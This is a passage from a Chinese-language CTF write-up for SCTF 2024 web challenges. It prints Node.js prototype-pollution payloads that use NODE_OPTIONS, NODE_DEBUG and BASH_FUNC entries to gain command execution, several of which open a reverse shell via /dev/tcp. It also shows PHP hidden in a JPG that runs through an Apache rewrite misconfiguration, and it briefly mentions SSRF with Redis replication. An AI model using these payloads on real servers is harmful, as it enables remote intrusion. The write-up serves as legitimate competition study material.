"console.log(require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/7777 0>&1\"').toString());//" , "env" : {"NODE_OPTIONS" : "--require /proc/self/cmdline" }, }, } login() add_report(payload) get_shell()
PS 或者其他的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 { "user" :"__proto__" , "date" :"2" , "reportmessage" :{ "shell" :"/readflag" , "env" :{ "NODE_DEBUG" :"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//" , "NODE_OPTIONS" :"-r /proc/self/environ" } } }
1 2 3 4 5 6 7 8 9 10 11 { "user" :"__proto__" , "date" :"2" , "reportmessage" :{ "shell" :"/bin/bash" , "env" :{ "BASH_FUNC_whoami%%" :"() { /readflag;}" } } }
这个说实话原理没太懂,找时间看下吧。
PP2RCE:
Prototype Pollution to RCE | HackTricks
havefun jpg 内有 php。
1 2 3 4 5 <?php $file = '/etc/apache2/sites-available/000-default.conf' ;$content = file_get_contents ($file );echo htmlspecialchars ($content );?>
路径规则配置问题。/static/SCTF.jpg/a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that the server uses to identify itself. This is used when creating redirection URLs. In the context of virtual hosts, the ServerName specifies what hostname must appear in the request's Host: header to match this virtual host. For the default virtual host (this file) this value is not decisive as it is used as a last resort host regardless. However, you must set it for any further virtual host explicitly. # ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html PassengerAppRoot /usr/share/redmine ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /var/www/html/redmine> RailsBaseURI /redmine # PassengerResolveSymlinksInDocumentRoot on </Directory> # Available loglevels: trace8,..., trace1, debug, info, notice, warn, error, crit, alert, emerg. # It is also possible to configure the loglevel for particular modules, e.g. # LogLevel info ssl:warn RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] LogLevel alert rewrite:trace3 RewriteEngine On RewriteRule ^/profile/(.*)$ /$1.html # For most configuration files from conf-available/, which are enabled or disabled at a global level, it is possible to include a line for only one particular virtual host. For example the following line enables the CGI configuration for this host only after it has been globally disabled with "a2disconf". # Include conf-available/serve-cgi-bin.conf </VirtualHost>
后面看不懂一点。O.o
ezjump 环境没了,没看捏。考点是 SSRF 加 Redis 的主从复制。
Ref SCTF 2024 Writeup
SCTF 2024 By W&M - W&M Team